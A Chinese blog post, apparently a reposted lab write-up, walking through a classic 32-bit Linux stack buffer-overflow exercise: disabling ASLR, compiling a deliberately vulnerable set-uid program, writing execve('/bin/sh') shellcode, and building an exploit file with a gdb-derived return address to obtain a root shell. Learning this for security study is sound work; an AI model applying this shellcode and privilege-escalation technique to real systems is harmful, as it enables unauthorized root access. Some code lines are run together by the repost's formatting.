Linux四大安全实验三-基于实验楼平台的学习

2023-12-19 22:50

本文主要是介绍Linux四大安全实验三-基于实验楼平台的学习,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

缓冲区溢出漏洞实验

  • 前言
  • 进行实验环境配置
    • 首先进行地址随机化
    • 使用zsh代替bash
    • 进入Linux32环境
  • 编写ShellCode
  • 写入漏洞程序
  • 写入攻击程序
  • 进行攻击
  • 总结

前言

如果需要一些前沿知识请看我前两篇博客汇编与反汇编入门-X86 AT&T汇编和初探缓冲区溢出。

进行实验环境配置

首先进行地址随机化

Ubuntu 和其他一些 Linux 系统中,使用地址空间随机化来随机堆(heap)和栈(stack)的初始地址,这使得猜测准确的内存地址变得十分困难,**而猜测内存地址是缓冲区溢出攻击的关键。**命令如下:

sudo sysctl -w kernel.randomize_va_space=0

在这里插入图片描述

使用zsh代替bash

因为bash对set-uid程序获得root权限有防护措施,所以最好用zsh,具体见我之前的一篇文章SET-UID程序漏洞

sudo su
rm sh
ln -s zsh sh
exit

在这里插入图片描述

进入Linux32环境

输入

linux32

在这里插入图片描述

编写ShellCode

其实shellcode就是一段代码,之前我们提到过由于缓冲区溢出,数据覆盖了返回地址,比如将返回地址覆盖为JMP ESP,接下来会跳到ESP位置(栈顶),在栈顶位置写入ShellCode。先写下C代码如下:

#include<stdio.h>
#include<unistd.h>int main(int argc,char*argv[]){char *array[2];array[0]="/bin/sh";array[1]=NULL;execve(array[0],array,NULL);
}      

将这段C代码转为ShellCode(这段代码的汇编版本)可能有点难理解,可以借鉴如何编写并编译一个shellcode(linux)里面有详细说明

\x31\xc0\x50\x68"//sh"\x68"/bin"\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80

写入漏洞程序

写入代码如下:

/**这段程序肯定是有缓冲区溢出漏洞的* */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>int bof(char *str)
{char buffer[12];/* 很明显是这个函数出现的*/strcpy(buffer, str);return 1;
}int main(int argc, char **argv)
{char str[517];FILE *badfile;badfile = fopen("badfile", "r");fread(str, sizeof(char), 517, badfile);bof(str);printf("Returned Properly\n");return 1;
}

程序相对简单,是将文件打开,并读这个文件的517字节,装入buffer,buffer只有12字节,肯定是会溢出的。
在这里提点题外话,现在的Linux系统很多都有对抗缓冲区溢出攻击,主要是三种

1. 地址随机化(之前已经随机化了)
2. 栈破坏检查(使用gcc编译时要加入参数-fno-stack-protector)
3. 限制可执行代码区域

以上来自CSAPP
现在来编译,将这个程序编译为set-uid程序

sudo su
gcc -g -z execstack -fno-stack-protector stack.c -o stack -m32
chmod u+s stack
exit

这里-g是便于后面使用gdb调试,-z execstack是允许执行栈,-fno-stack-protector是关闭gcc栈保护机制
在这里插入图片描述

写入攻击程序

攻击程序如下expoloit.c

**创建一个文件里面有ShellCode* */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
//这是我们之前得到的ShellCode
char shellcode[] ="\x31\xc0" //xorl %eax,%eax"\x50"     //pushl %eax"\x68""//sh" //pushl $0x68732f2f"\x68""/bin"     //pushl $0x6e69622f"\x89\xe3" //movl %esp,%ebx"\x50"     //pushl %eax"\x53"     //pushl %ebx"\x89\xe1" //movl %esp,%ecx"\x99"     //cdq"\xb0\x0b" //movb $0x0b,%al"\xcd\x80" //int $0x80;void main(int argc, char **argv)
{char buffer[517];FILE *badfile;/* 初始化缓冲区  0x90 (NOP instruction) */memset(&buffer, 0x90, 517);/* 填入缓冲区 */strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");   //在buffer特定偏移处起始的四个字节覆盖sellcode地址  strcpy(buffer + 100, shellcode);   //将shellcode拷贝至buffer,偏移量设为了 100/* 创建并存储文件 "badfile" */badfile = fopen("./badfile", "w");fwrite(buffer, 517, 1, badfile);fclose(badfile);
}

这个x??处需要添上 shellcode 保存在内存中的地址,因为发生溢出后这个位置刚好可以覆盖返回地址。而 strcpy(buffer+100,shellcode); 这一句又告诉我们,shellcode 保存在 buffer + 100 的位置。
为了得到shellCode在内存中的地址我们需要使用gdb进行调试(调试之前得到的stack),disassemble命令可以看到反汇编代码

gdb stack
disassemble main

在这里插入图片描述
esp中就是str的起始地址
在这里插入图片描述
每台计算机地址可能不同,所以最好自己调试,我在0x00001284处设置断点其实就是在stack.c中的badfile = fopen(“badfile”, “r”); 处设置断点,我这里是23行,设置断点后,运行,然后打印esp的地址即缓冲区的起始地址
在这里插入图片描述
记录下这里的0xffffcf50。在expoloit.c中的strcpy(buffer + 100, shellcode); 知道shellcode在buffer加上100处,所以我们通过计算十六进制可得到shellcode地址,100的十六进制为64,进入十六进制计算网站,输入0xffffcf50与0x64。
在这里插入图片描述
可以知道shellcode地址为0xFFFFCFB4所以我们expoloit.c中的strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");最后的\x??\x??\x??\x??可以填入**\xb4\xcf\xff\xff**(会覆盖掉函数栈的返回地址,注意填入顺序是反的,我之前的博客初探缓冲区溢出有相关内容,见前言)。然后对程序进行编译。

gcc expoloit.c -o expoloit -m32

进行攻击

分别执行攻击程序和漏洞程序可以获得root权限
在这里插入图片描述

总结

这次实验挺有难点,需要许多前置的知识,难点尤其在ShellCode的编写,逻辑其实就是编写C语言代码,将其转换为ShellCode(这里的C语言执行execve)。
漏洞程序是将badfile文件中的内容通过strcpy函数复制入缓冲区,而缓冲区空间必然不足,所以会溢出(这一个漏洞程序是set-uid程序)。
而攻击程序其实就是将shellcode写入badfile中,写入的最后四个字节其实就是ShellCode要放的地址会覆盖掉函数栈的返回地址。相当于到函数到ret指令后会跳转到ShellCode,即执行execve函数,由于zsh+set-uid程序的组合导致特别危险,从而获得root权限。
所以先执行攻击程序再执行漏洞程序,从而成功hack。

这篇关于Linux四大安全实验三-基于实验楼平台的学习的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/513980

相关文章

HarmonyOS学习(七)——UI(五)常用布局总结

自适应布局 1.1、线性布局(LinearLayout) 通过线性容器Row和Column实现线性布局。Column容器内的子组件按照垂直方向排列,Row组件中的子组件按照水平方向排列。 属性说明space通过space参数设置主轴上子组件的间距,达到各子组件在排列上的等间距效果alignItems设置子组件在交叉轴上的对齐方式,且在各类尺寸屏幕上表现一致,其中交叉轴为垂直时,取值为Vert

Ilya-AI分享的他在OpenAI学习到的15个提示工程技巧

Ilya(不是本人,claude AI)在社交媒体上分享了他在OpenAI学习到的15个Prompt撰写技巧。 以下是详细的内容: 提示精确化:在编写提示时,力求表达清晰准确。清楚地阐述任务需求和概念定义至关重要。例:不用"分析文本",而用"判断这段话的情感倾向:积极、消极还是中性"。 快速迭代:善于快速连续调整提示。熟练的提示工程师能够灵活地进行多轮优化。例:从"总结文章"到"用

流媒体平台/视频监控/安防视频汇聚EasyCVR播放暂停后视频画面黑屏是什么原因?

视频智能分析/视频监控/安防监控综合管理系统EasyCVR视频汇聚融合平台,是TSINGSEE青犀视频垂直深耕音视频流媒体技术、AI智能技术领域的杰出成果。该平台以其强大的视频处理、汇聚与融合能力,在构建全栈视频监控系统中展现出了独特的优势。视频监控管理系统EasyCVR平台内置了强大的视频解码、转码、压缩等技术,能够处理多种视频流格式,并以多种格式(RTMP、RTSP、HTTP-FLV、WebS

【前端学习】AntV G6-08 深入图形与图形分组、自定义节点、节点动画(下)

【课程链接】 AntV G6:深入图形与图形分组、自定义节点、节点动画(下)_哔哩哔哩_bilibili 本章十吾老师讲解了一个复杂的自定义节点中,应该怎样去计算和绘制图形,如何给一个图形制作不间断的动画,以及在鼠标事件之后产生动画。(有点难,需要好好理解) <!DOCTYPE html><html><head><meta charset="UTF-8"><title>06

linux-基础知识3

打包和压缩 zip 安装zip软件包 yum -y install zip unzip 压缩打包命令: zip -q -r -d -u 压缩包文件名 目录和文件名列表 -q:不显示命令执行过程-r:递归处理,打包各级子目录和文件-u:把文件增加/替换到压缩包中-d:从压缩包中删除指定的文件 解压:unzip 压缩包名 打包文件 把压缩包从服务器下载到本地 把压缩包上传到服务器(zip

学习hash总结

2014/1/29/   最近刚开始学hash,名字很陌生,但是hash的思想却很熟悉,以前早就做过此类的题,但是不知道这就是hash思想而已,说白了hash就是一个映射,往往灵活利用数组的下标来实现算法,hash的作用:1、判重;2、统计次数;

综合安防管理平台LntonAIServer视频监控汇聚抖动检测算法优势

LntonAIServer视频质量诊断功能中的抖动检测是一个专门针对视频稳定性进行分析的功能。抖动通常是指视频帧之间的不必要运动,这种运动可能是由于摄像机的移动、传输中的错误或编解码问题导致的。抖动检测对于确保视频内容的平滑性和观看体验至关重要。 优势 1. 提高图像质量 - 清晰度提升:减少抖动,提高图像的清晰度和细节表现力,使得监控画面更加真实可信。 - 细节增强:在低光条件下,抖

JAVA智听未来一站式有声阅读平台听书系统小程序源码

智听未来,一站式有声阅读平台听书系统 🌟&nbsp;开篇:遇见未来,从“智听”开始 在这个快节奏的时代,你是否渴望在忙碌的间隙,找到一片属于自己的宁静角落?是否梦想着能随时随地,沉浸在知识的海洋,或是故事的奇幻世界里?今天,就让我带你一起探索“智听未来”——这一站式有声阅读平台听书系统,它正悄悄改变着我们的阅读方式,让未来触手可及! 📚&nbsp;第一站:海量资源,应有尽有 走进“智听

高效录音转文字:2024年四大工具精选!

在快节奏的工作生活中,能够快速将录音转换成文字是一项非常实用的能力。特别是在需要记录会议纪要、讲座内容或者是采访素材的时候,一款优秀的在线录音转文字工具能派上大用场。以下推荐几个好用的录音转文字工具! 365在线转文字 直达链接:https://www.pdf365.cn/ 365在线转文字是一款提供在线录音转文字服务的工具,它以其高效、便捷的特点受到用户的青睐。用户无需下载安装任何软件,只